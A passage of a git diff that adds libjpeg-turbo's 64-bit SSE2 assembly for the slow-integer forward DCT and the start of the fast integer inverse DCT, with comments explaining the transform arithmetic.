SIZEOF_XMMWORD ; xmmword wk[WK_NUM] +%define WK_NUM 6 + + align 32 + GLOBAL_FUNCTION(jsimd_fdct_islow_sse2) + +EXTN(jsimd_fdct_islow_sse2): + ENDBR64 + push rbp + mov rbp, rsp + push r15 + and rsp, byte (-SIZEOF_XMMWORD) ; align to 128 bits + ; Allocate stack space for wk array. r15 is used to access it. + mov r15, rsp + sub rsp, byte (SIZEOF_XMMWORD * WK_NUM) + COLLECT_ARGS 1 + + ; ---- Pass 1: process rows. + + mov rdx, r10 ; (DCTELEM *) + + movdqa xmm0, XMMWORD [XMMBLOCK(0, 0, rdx, SIZEOF_DCTELEM)] + movdqa xmm1, XMMWORD [XMMBLOCK(1, 0, rdx, SIZEOF_DCTELEM)] + movdqa xmm2, XMMWORD [XMMBLOCK(2, 0, rdx, SIZEOF_DCTELEM)] + movdqa xmm3, XMMWORD [XMMBLOCK(3, 0, rdx, SIZEOF_DCTELEM)] + + ; xmm0 = (00 01 02 03 04 05 06 07) + ; xmm2 = (20 21 22 23 24 25 26 27) + ; xmm1 = (10 11 12 13 14 15 16 17) + ; xmm3 = (30 31 32 33 34 35 36 37) + + movdqa xmm4, xmm0 ; transpose coefficients(phase 1) + punpcklwd xmm0, xmm1 ; xmm0 = (00 10 01 11 02 12 03 13) + punpckhwd xmm4, xmm1 ; xmm4 = (04 14 05 15 06 16 07 17) + movdqa xmm5, xmm2 ; transpose coefficients(phase 1) + punpcklwd xmm2, xmm3 ; xmm2 = (20 30 21 31 22 32 23 33) + punpckhwd xmm5, xmm3 ; xmm5 = (24 34 25 35 26 36 27 37) + + movdqa xmm6, XMMWORD [XMMBLOCK(4, 0, rdx, SIZEOF_DCTELEM)] + movdqa xmm7, XMMWORD [XMMBLOCK(5, 0, rdx, SIZEOF_DCTELEM)] + movdqa xmm1, XMMWORD [XMMBLOCK(6, 0, rdx, SIZEOF_DCTELEM)] + movdqa xmm3, XMMWORD [XMMBLOCK(7, 0, rdx, SIZEOF_DCTELEM)] + + ; xmm6 = ( 4 12 20 28 36 44 52 60) + ; xmm1 = ( 6 14 22 30 38 46 54 62) + ; xmm7 = ( 5 13 21 29 37 45 53 61) + ; xmm3 = ( 7 15 23 31 39 47 55 63) + + movdqa XMMWORD [wk(0)], xmm2 ; wk(0) = (20 30 21 31 22 32 23 33) + movdqa XMMWORD [wk(1)], xmm5 ; wk(1) = (24 34 25 35 26 36 27 37) + + movdqa xmm2, xmm6 ; transpose coefficients(phase 1) + punpcklwd xmm6, xmm7 ; xmm6 = (40 50 41 51 42 52 43 53) + punpckhwd xmm2, xmm7 ; xmm2 = (44 54 45 55 46 56 47 57) + movdqa xmm5, xmm1 ; transpose coefficients(phase 1) + punpcklwd xmm1, xmm3 ; xmm1 = (60 70 61 71 62 72 63 73) + punpckhwd xmm5, xmm3 ; xmm5 = (64 74 65 75 66 76 67 77) + + movdqa xmm7, xmm6 ; transpose coefficients(phase 2) + punpckldq xmm6, xmm1 ; xmm6 = (40 50 60 70 41 51 61 71) + punpckhdq xmm7, xmm1 ; xmm7 = (42 52 62 72 43 53 63 73) + movdqa xmm3, xmm2 ; transpose coefficients(phase 2) + punpckldq xmm2, xmm5 ; xmm2 = (44 54 64 74 45 55 65 75) + punpckhdq xmm3, xmm5 ; xmm3 = (46 56 66 76 47 57 67 77) + + movdqa xmm1, XMMWORD [wk(0)] ; xmm1 = (20 30 21 31 22 32 23 33) + movdqa xmm5, XMMWORD [wk(1)] ; xmm5 = (24 34 25 35 26 36 27 37) + movdqa XMMWORD [wk(2)], xmm7 ; wk(2) = (42 52 62 72 43 53 63 73) + movdqa XMMWORD [wk(3)], xmm2 ; wk(3) = (44 54 64 74 45 55 65 75) + + movdqa xmm7, xmm0 ; transpose coefficients(phase 2) + punpckldq xmm0, xmm1 ; xmm0 = (00 10 20 30 01 11 21 31) + punpckhdq xmm7, xmm1 ; xmm7 = (02 12 22 32 03 13 23 33) + movdqa xmm2, xmm4 ; transpose coefficients(phase 2) + punpckldq xmm4, xmm5 ; xmm4 = (04 14 24 34 05 15 25 35) + punpckhdq xmm2, xmm5 ; xmm2 = (06 16 26 36 07 17 27 37) + + movdqa xmm1, xmm0 ; transpose coefficients(phase 3) + punpcklqdq xmm0, xmm6 ; xmm0 = (00 10 20 30 40 50 60 70) = data0 + punpckhqdq xmm1, xmm6 ; xmm1 = (01 11 21 31 41 51 61 71) = data1 + movdqa xmm5, xmm2 ; transpose coefficients(phase 3) + punpcklqdq xmm2, xmm3 ; xmm2 = (06 16 26 36 46 56 66 76) = data6 + punpckhqdq xmm5, xmm3 ; xmm5 = (07 17 27 37 47 57 67 77) = data7 + + movdqa xmm6, xmm1 + movdqa xmm3, xmm0 + psubw xmm1, xmm2 ; xmm1 = data1 - data6 = tmp6 + psubw xmm0, xmm5 ; xmm0 = data0 - data7 = tmp7 + paddw xmm6, xmm2 ; xmm6 = data1 + data6 = tmp1 + paddw xmm3, xmm5 ; xmm3 = data0 + data7 = tmp0 + + movdqa xmm2, XMMWORD [wk(2)] ; xmm2 = (42 52 62 72 43 53 63 73) + movdqa xmm5, XMMWORD [wk(3)] ; xmm5 = (44 54 64 74 45 55 65 75) + movdqa XMMWORD [wk(0)], xmm1 ; wk(0) = tmp6 + movdqa XMMWORD [wk(1)], xmm0 ; wk(1) = tmp7 + + movdqa xmm1, xmm7 ; transpose coefficients(phase 3) + punpcklqdq xmm7, xmm2 ; xmm7 = (02 12 22 32 42 52 62 72) = data2 + punpckhqdq xmm1, xmm2 ; xmm1 = (03 13 23 33 43 53 63 73) = data3 + movdqa xmm0, xmm4 ; transpose coefficients(phase 3) + punpcklqdq xmm4, xmm5 ; xmm4 = (04 14 24 34 44 54 64 74) = data4 + punpckhqdq xmm0, xmm5 ; xmm0 = (05 15 25 35 45 55 65 75) = data5 + + movdqa xmm2, xmm1 + movdqa xmm5, xmm7 + paddw xmm1, xmm4 ; xmm1 = data3 + data4 = tmp3 + paddw xmm7, xmm0 ; xmm7 = data2 + data5 = tmp2 + psubw xmm2, xmm4 ; xmm2 = data3 - data4 = tmp4 + psubw xmm5, xmm0 ; xmm5 = data2 - data5 = tmp5 + + ; -- Even part + + movdqa xmm4, xmm3 + movdqa xmm0, xmm6 + paddw xmm3, xmm1 ; xmm3 = tmp10 + paddw xmm6, xmm7 ; xmm6 = tmp11 + psubw xmm4, xmm1 ; xmm4 = tmp13 + psubw xmm0, xmm7 ; xmm0 = tmp12 + + movdqa xmm1, xmm3 + paddw xmm3, xmm6 ; xmm3 = tmp10 + tmp11 + psubw xmm1, xmm6 ; xmm1 = tmp10 - tmp11 + + psllw xmm3, PASS1_BITS ; xmm3 = data0 + psllw xmm1, PASS1_BITS ; xmm1 = data4 + + movdqa XMMWORD [wk(2)], xmm3 ; wk(2) = data0 + movdqa XMMWORD [wk(3)], xmm1 ; wk(3) = data4 + + ; (Original) + ; z1 = (tmp12 + tmp13) * 0.541196100; + ; data2 = z1 + tmp13 * 0.765366865; + ; data6 = z1 + tmp12 * -1.847759065; + ; + ; (This implementation) + ; data2 = tmp13 * (0.541196100 + 0.765366865) + tmp12 * 0.541196100; + ; data6 = tmp13 * 0.541196100 + tmp12 * (0.541196100 - 1.847759065); + + movdqa xmm7, xmm4 ; xmm4 = tmp13 + movdqa xmm6, xmm4 + punpcklwd xmm7, xmm0 ; xmm0 = tmp12 + punpckhwd xmm6, xmm0 + movdqa xmm4, xmm7 + movdqa xmm0, xmm6 + pmaddwd xmm7, [rel PW_F130_F054] ; xmm7 = data2L + pmaddwd xmm6, [rel PW_F130_F054] ; xmm6 = data2H + pmaddwd xmm4, [rel PW_F054_MF130] ; xmm4 = data6L + pmaddwd xmm0, [rel PW_F054_MF130] ; xmm0 = data6H + + paddd xmm7, [rel PD_DESCALE_P1] + paddd xmm6, [rel PD_DESCALE_P1] + psrad xmm7, DESCALE_P1 + psrad xmm6, DESCALE_P1 + paddd xmm4, [rel PD_DESCALE_P1] + paddd xmm0, [rel PD_DESCALE_P1] + psrad xmm4, DESCALE_P1 + psrad xmm0, DESCALE_P1 + + packssdw xmm7, xmm6 ; xmm7 = data2 + packssdw xmm4, xmm0 ; xmm4 = data6 + + movdqa XMMWORD [wk(4)], xmm7 ; wk(4) = data2 + movdqa XMMWORD [wk(5)], xmm4 ; wk(5) = data6 + + ; -- Odd part + + movdqa xmm3, XMMWORD [wk(0)] ; xmm3 = tmp6 + movdqa xmm1, XMMWORD [wk(1)] ; xmm1 = tmp7 + + movdqa xmm6, xmm2 ; xmm2 = tmp4 + movdqa xmm0, xmm5 ; xmm5 = tmp5 + paddw xmm6, xmm3 ; xmm6 = z3 + paddw xmm0, xmm1 ; xmm0 = z4 + + ; (Original) + ; z5 = (z3 + z4) * 1.175875602; + ; z3 = z3 * -1.961570560; z4 = z4 * -0.390180644; + ; z3 += z5; z4 += z5; + ; + ; (This implementation) + ; z3 = z3 * (1.175875602 - 1.961570560) + z4 * 1.175875602; + ; z4 = z3 * 1.175875602 + z4 * (1.175875602 - 0.390180644); + + movdqa xmm7, xmm6 + movdqa xmm4, xmm6 + punpcklwd xmm7, xmm0 + punpckhwd xmm4, xmm0 + movdqa xmm6, xmm7 + movdqa xmm0, xmm4 + pmaddwd xmm7, [rel PW_MF078_F117] ; xmm7 = z3L + pmaddwd xmm4, [rel PW_MF078_F117] ; xmm4 = z3H + pmaddwd xmm6, [rel PW_F117_F078] ; xmm6 = z4L + pmaddwd xmm0, [rel PW_F117_F078] ; xmm0 = z4H + + movdqa XMMWORD [wk(0)], xmm7 ; wk(0) = z3L + movdqa XMMWORD [wk(1)], xmm4 ; wk(1) = z3H + + ; (Original) + ; z1 = tmp4 + tmp7; z2 = tmp5 + tmp6; + ; tmp4 = tmp4 * 0.298631336; tmp5 = tmp5 * 2.053119869; + ; tmp6 = tmp6 * 3.072711026; tmp7 = tmp7 * 1.501321110; + ; z1 = z1 * -0.899976223; z2 = z2 * -2.562915447; + ; data7 = tmp4 + z1 + z3; data5 = tmp5 + z2 + z4; + ; data3 = tmp6 + z2 + z3; data1 = tmp7 + z1 + z4; + ; + ; (This implementation) + ; tmp4 = tmp4 * (0.298631336 - 0.899976223) + tmp7 * -0.899976223; + ; tmp5 = tmp5 * (2.053119869 - 2.562915447) + tmp6 * -2.562915447; + ; tmp6 = tmp5 * -2.562915447 + tmp6 * (3.072711026 - 2.562915447); + ; tmp7 = tmp4 * -0.899976223 + tmp7 * (1.501321110 - 0.899976223); + ; data7 = tmp4 + z3; data5 = tmp5 + z4; + ; data3 = tmp6 + z3; data1 = tmp7 + z4; + + movdqa xmm7, xmm2 + movdqa xmm4, xmm2 + punpcklwd xmm7, xmm1 + punpckhwd xmm4, xmm1 + movdqa xmm2, xmm7 + movdqa xmm1, xmm4 + pmaddwd xmm7, [rel PW_MF060_MF089] ; xmm7 = tmp4L + pmaddwd xmm4, [rel PW_MF060_MF089] ; xmm4 = tmp4H + pmaddwd xmm2, [rel PW_MF089_F060] ; xmm2 = tmp7L + pmaddwd xmm1, [rel PW_MF089_F060] ; xmm1 = tmp7H + + paddd xmm7, XMMWORD [wk(0)] ; xmm7 = data7L + paddd xmm4, XMMWORD [wk(1)] ; xmm4 = data7H + paddd xmm2, xmm6 ; xmm2 = data1L + paddd xmm1, xmm0 ; xmm1 = data1H + + paddd xmm7, [rel PD_DESCALE_P1] + paddd xmm4, [rel PD_DESCALE_P1] + psrad xmm7, DESCALE_P1 + psrad xmm4, DESCALE_P1 + paddd xmm2, [rel PD_DESCALE_P1] + paddd xmm1, [rel PD_DESCALE_P1] + psrad xmm2, DESCALE_P1 + psrad xmm1, DESCALE_P1 + + packssdw xmm7, xmm4 ; xmm7 = data7 + packssdw xmm2, xmm1 ; xmm2 = data1 + + movdqa xmm4, xmm5 + movdqa xmm1, xmm5 + punpcklwd xmm4, xmm3 + punpckhwd xmm1, xmm3 + movdqa xmm5, xmm4 + movdqa xmm3, xmm1 + pmaddwd xmm4, [rel PW_MF050_MF256] ; xmm4 = tmp5L + pmaddwd xmm1, [rel PW_MF050_MF256] ; xmm1 = tmp5H + pmaddwd xmm5, [rel PW_MF256_F050] ; xmm5 = tmp6L + pmaddwd xmm3, [rel PW_MF256_F050] ; xmm3 = tmp6H + + paddd xmm4, xmm6 ; xmm4 = data5L + paddd xmm1, xmm0 ; xmm1 = data5H + paddd xmm5, XMMWORD [wk(0)] ; xmm5 = data3L + paddd xmm3, XMMWORD [wk(1)] ; xmm3 = data3H + + paddd xmm4, [rel PD_DESCALE_P1] + paddd xmm1, [rel PD_DESCALE_P1] + psrad xmm4, DESCALE_P1 + psrad xmm1, DESCALE_P1 + paddd xmm5, [rel PD_DESCALE_P1] + paddd xmm3, [rel PD_DESCALE_P1] + psrad xmm5, DESCALE_P1 + psrad xmm3, DESCALE_P1 + + packssdw xmm4, xmm1 ; xmm4 = data5 + packssdw xmm5, xmm3 ; xmm5 = data3 + + ; ---- Pass 2: process columns. + + movdqa xmm6, XMMWORD [wk(2)] ; xmm6 = col0 + movdqa xmm0, XMMWORD [wk(4)] ; xmm0 = col2 + + ; xmm6 = (00 10 20 30 40 50 60 70) + ; xmm0 = (02 12 22 32 42 52 62 72) + ; xmm2 = (01 11 21 31 41 51 61 71) + ; xmm5 = (03 13 23 33 43 53 63 73) + + movdqa xmm1, xmm6 ; transpose coefficients(phase 1) + punpcklwd xmm6, xmm2 ; xmm6 = (00 01 10 11 20 21 30 31) + punpckhwd xmm1, xmm2 ; xmm1 = (40 41 50 51 60 61 70 71) + movdqa xmm3, xmm0 ; transpose coefficients(phase 1) + punpcklwd xmm0, xmm5 ; xmm0 = (02 03 12 13 22 23 32 33) + punpckhwd xmm3, xmm5 ; xmm3 = (42 43 52 53 62 63 72 73) + + movdqa xmm2, XMMWORD [wk(3)] ; xmm2 = col4 + movdqa xmm5, XMMWORD [wk(5)] ; xmm5 = col6 + + ; xmm2 = (04 14 24 34 44 54 64 74) + ; xmm5 = (06 16 26 36 46 56 66 76) + ; xmm4 = (05 15 25 35 45 55 65 75) + ; xmm7 = (07 17 27 37 47 57 67 77) + + movdqa XMMWORD [wk(0)], xmm0 ; wk(0) = (02 03 12 13 22 23 32 33) + movdqa XMMWORD [wk(1)], xmm3 ; wk(1) = (42 43 52 53 62 63 72 73) + + movdqa xmm0, xmm2 ; transpose coefficients(phase 1) + punpcklwd xmm2, xmm4 ; xmm2 = (04 05 14 15 24 25 34 35) + punpckhwd xmm0, xmm4 ; xmm0 = (44 45 54 55 64 65 74 75) + movdqa xmm3, xmm5 ; transpose coefficients(phase 1) + punpcklwd xmm5, xmm7 ; xmm5 = (06 07 16 17 26 27 36 37) + punpckhwd xmm3, xmm7 ; xmm3 = (46 47 56 57 66 67 76 77) + + movdqa xmm4, xmm2 ; transpose coefficients(phase 2) + punpckldq xmm2, xmm5 ; xmm2 = (04 05 06 07 14 15 16 17) + punpckhdq xmm4, xmm5 ; xmm4 = (24 25 26 27 34 35 36 37) + movdqa xmm7, xmm0 ; transpose coefficients(phase 2) + punpckldq xmm0, xmm3 ; xmm0 = (44 45 46 47 54 55 56 57) + punpckhdq xmm7, xmm3 ; xmm7 = (64 65 66 67 74 75 76 77) + + movdqa xmm5, XMMWORD [wk(0)] ; xmm5 = (02 03 12 13 22 23 32 33) + movdqa xmm3, XMMWORD [wk(1)] ; xmm3 = (42 43 52 53 62 63 72 73) + movdqa XMMWORD [wk(2)], xmm4 ; wk(2) = (24 25 26 27 34 35 36 37) + movdqa XMMWORD [wk(3)], xmm0 ; wk(3) = (44 45 46 47 54 55 56 57) + + movdqa xmm4, xmm6 ; transpose coefficients(phase 2) + punpckldq xmm6, xmm5 ; xmm6 = (00 01 02 03 10 11 12 13) + punpckhdq xmm4, xmm5 ; xmm4 = (20 21 22 23 30 31 32 33) + movdqa xmm0, xmm1 ; transpose coefficients(phase 2) + punpckldq xmm1, xmm3 ; xmm1 = (40 41 42 43 50 51 52 53) + punpckhdq xmm0, xmm3 ; xmm0 = (60 61 62 63 70 71 72 73) + + movdqa xmm5, xmm6 ; transpose coefficients(phase 3) + punpcklqdq xmm6, xmm2 ; xmm6 = (00 01 02 03 04 05 06 07) = data0 + punpckhqdq xmm5, xmm2 ; xmm5 = (10 11 12 13 14 15 16 17) = data1 + movdqa xmm3, xmm0 ; transpose coefficients(phase 3) + punpcklqdq xmm0, xmm7 ; xmm0 = (60 61 62 63 64 65 66 67) = data6 + punpckhqdq xmm3, xmm7 ; xmm3 = (70 71 72 73 74 75 76 77) = data7 + + movdqa xmm2, xmm5 + movdqa xmm7, xmm6 + psubw xmm5, xmm0 ; xmm5 = data1 - data6 = tmp6 + psubw xmm6, xmm3 ; xmm6 = data0 - data7 = tmp7 + paddw xmm2, xmm0 ; xmm2 = data1 + data6 = tmp1 + paddw xmm7, xmm3 ; xmm7 = data0 + data7 = tmp0 + + movdqa xmm0, XMMWORD [wk(2)] ; xmm0 = (24 25 26 27 34 35 36 37) + movdqa xmm3, XMMWORD [wk(3)] ; xmm3 = (44 45 46 47 54 55 56 57) + movdqa XMMWORD [wk(0)], xmm5 ; wk(0) = tmp6 + movdqa XMMWORD [wk(1)], xmm6 ; wk(1) = tmp7 + + movdqa xmm5, xmm4 ; transpose coefficients(phase 3) + punpcklqdq xmm4, xmm0 ; xmm4 = (20 21 22 23 24 25 26 27) = data2 + punpckhqdq xmm5, xmm0 ; xmm5 = (30 31 32 33 34 35 36 37) = data3 + movdqa xmm6, xmm1 ; transpose coefficients(phase 3) + punpcklqdq xmm1, xmm3 ; xmm1 = (40 41 42 43 44 45 46 47) = data4 + punpckhqdq xmm6, xmm3 ; xmm6 = (50 51 52 53 54 55 56 57) = data5 + + movdqa xmm0, xmm5 + movdqa xmm3, xmm4 + paddw xmm5, xmm1 ; xmm5 = data3 + data4 = tmp3 + paddw xmm4, xmm6 ; xmm4 = data2 + data5 = tmp2 + psubw xmm0, xmm1 ; xmm0 = data3 - data4 = tmp4 + psubw xmm3, xmm6 ; xmm3 = data2 - data5 = tmp5 + + ; -- Even part + + movdqa xmm1, xmm7 + movdqa xmm6, xmm2 + paddw xmm7, xmm5 ; xmm7 = tmp10 + paddw xmm2, xmm4 ; xmm2 = tmp11 + psubw xmm1, xmm5 ; xmm1 = tmp13 + psubw xmm6, xmm4 ; xmm6 = tmp12 + + movdqa xmm5, xmm7 + paddw xmm7, xmm2 ; xmm7 = tmp10 + tmp11 + psubw xmm5, xmm2 ; xmm5 = tmp10 - tmp11 + + paddw xmm7, [rel PW_DESCALE_P2X] + paddw xmm5, [rel PW_DESCALE_P2X] + psraw xmm7, PASS1_BITS ; xmm7 = data0 + psraw xmm5, PASS1_BITS ; xmm5 = data4 + + movdqa XMMWORD [XMMBLOCK(0, 0, rdx, SIZEOF_DCTELEM)], xmm7 + movdqa XMMWORD [XMMBLOCK(4, 0, rdx, SIZEOF_DCTELEM)], xmm5 + + ; (Original) + ; z1 = (tmp12 + tmp13) * 0.541196100; + ; data2 = z1 + tmp13 * 0.765366865; + ; data6 = z1 + tmp12 * -1.847759065; + ; + ; (This implementation) + ; data2 = tmp13 * (0.541196100 + 0.765366865) + tmp12 * 0.541196100; + ; data6 = tmp13 * 0.541196100 + tmp12 * (0.541196100 - 1.847759065); + + movdqa xmm4, xmm1 ; xmm1 = tmp13 + movdqa xmm2, xmm1 + punpcklwd xmm4, xmm6 ; xmm6 = tmp12 + punpckhwd xmm2, xmm6 + movdqa xmm1, xmm4 + movdqa xmm6, xmm2 + pmaddwd xmm4, [rel PW_F130_F054] ; xmm4 = data2L + pmaddwd xmm2, [rel PW_F130_F054] ; xmm2 = data2H + pmaddwd xmm1, [rel PW_F054_MF130] ; xmm1 = data6L + pmaddwd xmm6, [rel PW_F054_MF130] ; xmm6 = data6H + + paddd xmm4, [rel PD_DESCALE_P2] + paddd xmm2, [rel PD_DESCALE_P2] + psrad xmm4, DESCALE_P2 + psrad xmm2, DESCALE_P2 + paddd xmm1, [rel PD_DESCALE_P2] + paddd xmm6, [rel PD_DESCALE_P2] + psrad xmm1, DESCALE_P2 + psrad xmm6, DESCALE_P2 + + packssdw xmm4, xmm2 ; xmm4 = data2 + packssdw xmm1, xmm6 ; xmm1 = data6 + + movdqa XMMWORD [XMMBLOCK(2, 0, rdx, SIZEOF_DCTELEM)], xmm4 + movdqa XMMWORD [XMMBLOCK(6, 0, rdx, SIZEOF_DCTELEM)], xmm1 + + ; -- Odd part + + movdqa xmm7, XMMWORD [wk(0)] ; xmm7 = tmp6 + movdqa xmm5, XMMWORD [wk(1)] ; xmm5 = tmp7 + + movdqa xmm2, xmm0 ; xmm0 = tmp4 + movdqa xmm6, xmm3 ; xmm3 = tmp5 + paddw xmm2, xmm7 ; xmm2 = z3 + paddw xmm6, xmm5 ; xmm6 = z4 + + ; (Original) + ; z5 = (z3 + z4) * 1.175875602; + ; z3 = z3 * -1.961570560; z4 = z4 * -0.390180644; + ; z3 += z5; z4 += z5; + ; + ; (This implementation) + ; z3 = z3 * (1.175875602 - 1.961570560) + z4 * 1.175875602; + ; z4 = z3 * 1.175875602 + z4 * (1.175875602 - 0.390180644); + + movdqa xmm4, xmm2 + movdqa xmm1, xmm2 + punpcklwd xmm4, xmm6 + punpckhwd xmm1, xmm6 + movdqa xmm2, xmm4 + movdqa xmm6, xmm1 + pmaddwd xmm4, [rel PW_MF078_F117] ; xmm4 = z3L + pmaddwd xmm1, [rel PW_MF078_F117] ; xmm1 = z3H + pmaddwd xmm2, [rel PW_F117_F078] ; xmm2 = z4L + pmaddwd xmm6, [rel PW_F117_F078] ; xmm6 = z4H + + movdqa XMMWORD [wk(0)], xmm4 ; wk(0) = z3L + movdqa XMMWORD [wk(1)], xmm1 ; wk(1) = z3H + + ; (Original) + ; z1 = tmp4 + tmp7; z2 = tmp5 + tmp6; + ; tmp4 = tmp4 * 0.298631336; tmp5 = tmp5 * 2.053119869; + ; tmp6 = tmp6 * 3.072711026; tmp7 = tmp7 * 1.501321110; + ; z1 = z1 * -0.899976223; z2 = z2 * -2.562915447; + ; data7 = tmp4 + z1 + z3; data5 = tmp5 + z2 + z4; + ; data3 = tmp6 + z2 + z3; data1 = tmp7 + z1 + z4; + ; + ; (This implementation) + ; tmp4 = tmp4 * (0.298631336 - 0.899976223) + tmp7 * -0.899976223; + ; tmp5 = tmp5 * (2.053119869 - 2.562915447) + tmp6 * -2.562915447; + ; tmp6 = tmp5 * -2.562915447 + tmp6 * (3.072711026 - 2.562915447); + ; tmp7 = tmp4 * -0.899976223 + tmp7 * (1.501321110 - 0.899976223); + ; data7 = tmp4 + z3; data5 = tmp5 + z4; + ; data3 = tmp6 + z3; data1 = tmp7 + z4; + + movdqa xmm4, xmm0 + movdqa xmm1, xmm0 + punpcklwd xmm4, xmm5 + punpckhwd xmm1, xmm5 + movdqa xmm0, xmm4 + movdqa xmm5, xmm1 + pmaddwd xmm4, [rel PW_MF060_MF089] ; xmm4 = tmp4L + pmaddwd xmm1, [rel PW_MF060_MF089] ; xmm1 = tmp4H + pmaddwd xmm0, [rel PW_MF089_F060] ; xmm0 = tmp7L + pmaddwd xmm5, [rel PW_MF089_F060] ; xmm5 = tmp7H + + paddd xmm4, XMMWORD [wk(0)] ; xmm4 = data7L + paddd xmm1, XMMWORD [wk(1)] ; xmm1 = data7H + paddd xmm0, xmm2 ; xmm0 = data1L + paddd xmm5, xmm6 ; xmm5 = data1H + + paddd xmm4, [rel PD_DESCALE_P2] + paddd xmm1, [rel PD_DESCALE_P2] + psrad xmm4, DESCALE_P2 + psrad xmm1, DESCALE_P2 + paddd xmm0, [rel PD_DESCALE_P2] + paddd xmm5, [rel PD_DESCALE_P2] + psrad xmm0, DESCALE_P2 + psrad xmm5, DESCALE_P2 + + packssdw xmm4, xmm1 ; xmm4 = data7 + packssdw xmm0, xmm5 ; xmm0 = data1 + + movdqa XMMWORD [XMMBLOCK(7, 0, rdx, SIZEOF_DCTELEM)], xmm4 + movdqa XMMWORD [XMMBLOCK(1, 0, rdx, SIZEOF_DCTELEM)], xmm0 + + movdqa xmm1, xmm3 + movdqa xmm5, xmm3 + punpcklwd xmm1, xmm7 + punpckhwd xmm5, xmm7 + movdqa xmm3, xmm1 + movdqa xmm7, xmm5 + pmaddwd xmm1, [rel PW_MF050_MF256] ; xmm1 = tmp5L + pmaddwd xmm5, [rel PW_MF050_MF256] ; xmm5 = tmp5H + pmaddwd xmm3, [rel PW_MF256_F050] ; xmm3 = tmp6L + pmaddwd xmm7, [rel PW_MF256_F050] ; xmm7 = tmp6H + + paddd xmm1, xmm2 ; xmm1 = data5L + paddd xmm5, xmm6 ; xmm5 = data5H + paddd xmm3, XMMWORD [wk(0)] ; xmm3 = data3L + paddd xmm7, XMMWORD [wk(1)] ; xmm7 = data3H + + paddd xmm1, [rel PD_DESCALE_P2] + paddd xmm5, [rel PD_DESCALE_P2] + psrad xmm1, DESCALE_P2 + psrad xmm5, DESCALE_P2 + paddd xmm3, [rel PD_DESCALE_P2] + paddd xmm7, [rel PD_DESCALE_P2] + psrad xmm3, DESCALE_P2 + psrad xmm7, DESCALE_P2 + + packssdw xmm1, xmm5 ; xmm1 = data5 + packssdw xmm3, xmm7 ; xmm3 = data3 + + movdqa XMMWORD [XMMBLOCK(5, 0, rdx, SIZEOF_DCTELEM)], xmm1 + movdqa XMMWORD [XMMBLOCK(3, 0, rdx, SIZEOF_DCTELEM)], xmm3 + + UNCOLLECT_ARGS 1 + lea rsp, [rbp - 8] + pop r15 + pop rbp + ret + +; For some reason, the OS X linker does not honor the request to align the +; segment unless we do this. + align 32 diff --git a/lib/libjpeg-turbo/simd/x86_64/jidctfst-sse2.asm b/lib/libjpeg-turbo/simd/x86_64/jidctfst-sse2.asm new file mode 100755 index 0000000..c8191a9 --- /dev/null +++ b/lib/libjpeg-turbo/simd/x86_64/jidctfst-sse2.asm @@ -0,0 +1,508 @@ +; +; Fast integer IDCT (64-bit SSE2) +; +; Copyright 2009 Pierre Ossman for Cendio AB +; Copyright (C) 2009, 2016, 2024-2025, D. R. Commander. +; Copyright (C) 2018, Matthias Räncker. +; Copyright (C) 2023, Aliaksiej Kandracienka. +; +; Based on the x86 SIMD extension for IJG JPEG library +; Copyright (C) 1999-2006, MIYASAKA Masaru. +; For conditions of distribution and use, see copyright notice in jsimdext.inc +; +; This file should be assembled with NASM (Netwide Assembler) or Yasm. +; +; This file contains a fast, not so accurate integer implementation of the +; inverse DCT (Discrete Cosine Transform). The following code is based +; directly on the IJG's original jidctfst.c; see jidctfst.c for more details. + +%include "jsimdext.inc" +%include "jdct.inc" + +; -------------------------------------------------------------------------- + +%define CONST_BITS 8 ; 14 is also OK. +%define PASS1_BITS 2 + +%if IFAST_SCALE_BITS != PASS1_BITS +%error "'IFAST_SCALE_BITS' must be equal to 'PASS1_BITS'." +%endif + +%if CONST_BITS == 8 +F_1_082 equ 277 ; FIX(1.082392200) +F_1_414 equ 362 ; FIX(1.414213562) +F_1_847 equ 473 ; FIX(1.847759065) +F_2_613 equ 669 ; FIX(2.613125930) +F_1_613 equ (F_2_613 - 256) ; FIX(2.613125930) - FIX(1) +%else +; NASM cannot do compile-time arithmetic on floating-point constants. +%define DESCALE(x, n) (((x) + (1 << ((n) - 1))) >> (n)) +F_1_082 equ DESCALE(1162209775, 30 - CONST_BITS) ; FIX(1.082392200) +F_1_414 equ DESCALE(1518500249, 30 - CONST_BITS) ; FIX(1.414213562) +F_1_847 equ DESCALE(1984016188, 30 - CONST_BITS) ; FIX(1.847759065) +F_2_613 equ DESCALE(2805822602, 30 - CONST_BITS) ; FIX(2.613125930) +F_1_613 equ (F_2_613 - (1 << CONST_BITS)) ; FIX(2.613125930) - FIX(1) +%endif + +; -------------------------------------------------------------------------- + SECTION SEG_CONST + +; PRE_MULTIPLY_SCALE_BITS <= 2 (to avoid overflow) +; CONST_BITS + CONST_SHIFT + PRE_MULTIPLY_SCALE_BITS == 16 (for pmulhw) + +%define PRE_MULTIPLY_SCALE_BITS 2 +%define CONST_SHIFT (16 - PRE_MULTIPLY_SCALE_BITS - CONST_BITS) + + ALIGNZ 32 + GLOBAL_DATA(jconst_idct_ifast_sse2) + +EXTN(jconst_idct_ifast_sse2): + +PW_F1414 times 8 dw F_1_414 << CONST_SHIFT +PW_F1847 times 8 dw F_1_847 << CONST_SHIFT +PW_MF1613 times 8 dw -F_1_613 << CONST_SHIFT +PW_F1082 times 8 dw F_1_082 << CONST_SHIFT +PB_CENTERJSAMP times 16 db CENTERJSAMPLE + + ALIGNZ 32 + +; -------------------------------------------------------------------------- + SECTION SEG_TEXT + BITS 64 + +; Perform dequantization and inverse DCT on one block of coefficients. +; +; GLOBAL(void) +; jsimd_idct_ifast_sse2(void *dct_table, JCOEFPTR coef_block, +; JSAMPARRAY output_buf, JDIMENSION output_col) +; +; r10 = jpeg_component_info *compptr +; r11 = JCOEFPTR coef_block +; r12 = JSAMPARRAY output_buf +; r13d = JDIMENSION output_col + +%define wk(i) r15 - (WK_NUM - (i)) * SIZEOF_XMMWORD + ; xmmword wk[WK_NUM] +%define WK_NUM 2 + + align 32 + GLOBAL_FUNCTION(jsimd_idct_ifast_sse2) + +EXTN(jsimd_idct_ifast_sse2): + ENDBR64 + push rbp + mov rbp, rsp + push r15 + and rsp, byte (-SIZEOF_XMMWORD) ; align to 128 bits + ; Allocate stack space for wk array. r15 is used to access it. + mov r15, rsp + sub rsp, byte (SIZEOF_XMMWORD * WK_NUM) + COLLECT_ARGS 4 + + ; ---- Pass 1: process columns from input. + + mov rdx, r10 ; quantptr + mov rsi, r11 ; inptr + +%ifndef NO_ZERO_COLUMN_TEST_IFAST_SSE2 + mov eax, dword [DWBLOCK(1, 0, rsi, SIZEOF_JCOEF)] + or eax, 